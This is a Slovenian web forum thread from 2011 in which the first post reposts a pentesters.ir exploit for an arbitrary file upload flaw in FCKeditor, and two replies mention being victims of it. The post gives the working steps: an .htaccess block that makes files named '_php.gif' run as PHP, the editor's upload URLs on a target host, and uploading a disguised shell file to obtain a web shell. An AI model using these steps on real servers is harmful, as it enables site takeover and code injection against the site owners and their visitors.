Domov > Sistemi za urejanje spletnih trgovin in strani > exploit : FCKeditor
stran 1 od 1 |< < 1 > >|
exploit : FCKeditor
 
1qay1qay 15. avg 2011 10:51:04 Pridružen od:
12. avg 2010
2967 objav
 2430 194 84
#1

FCKeditor all versian Arbitrary File Upload Vulnerability



In The Name Of GOD

[+] Title:FCKeditor all versian Arbitrary File Upload Vulnerability

[+] Date: 2011

[+] script:http://sourceforge.net/projects/fckeditor/

[+] Author : pentesters.ir



[+] Website : WwW.PenTesters.IR



1.create a htaccess file:

code:

<FilesMatch "_php.gif">

SetHandler application/x-httpd-php

</FilesMatch>



2.Now upload this htaccess with FCKeditor.

http://target.com/FCKeditor/editor/filemanager/upload/test.html



http://target.com/FCKeditor/editor/filemanager/browser/default/connectors/test.html



3.Now upload shell.php.gif with FCKeditor.

4.After upload shell.php.gif, the name "shell.php.gif" change to "shellphp.gif" automatically.

5.http://target.com/anything/shellphp.gif



6.Now shell is available from server.


všeč(4) ni všeč(2) spam(0)
Delko www.delko.si [Moto akumulatorji] | [Polnilne baterije] | [GP baterije]
 
 
Mika 15. avg 2011 19:11:25 Pridružen od:
22. apr 2007
4116 objav
 2984 773 56
#2

Dobro poznano, le da sem bil jaz žrtev :)


všeč(1) ni všeč(0) spam(0)
 
 
1qay1qay 16. avg 2011 07:15:04 Pridružen od:
12. avg 2010
2967 objav
 2430 194 84
#3

tudi moj prijatelj :(, ni imel admin mape zaklenjene in ije fasal eval po celi strani


všeč(0) ni všeč(0) spam(0)
Delko www.delko.si [Moto akumulatorji] | [Polnilne baterije] | [GP baterije]
 
 
Domov > Sistemi za urejanje spletnih trgovin in strani > exploit : FCKeditor
stran 1 od 1 |< < 1 > >|
 

🔒 Za odgovor na to temo se moraš prijaviti.

Prijavi se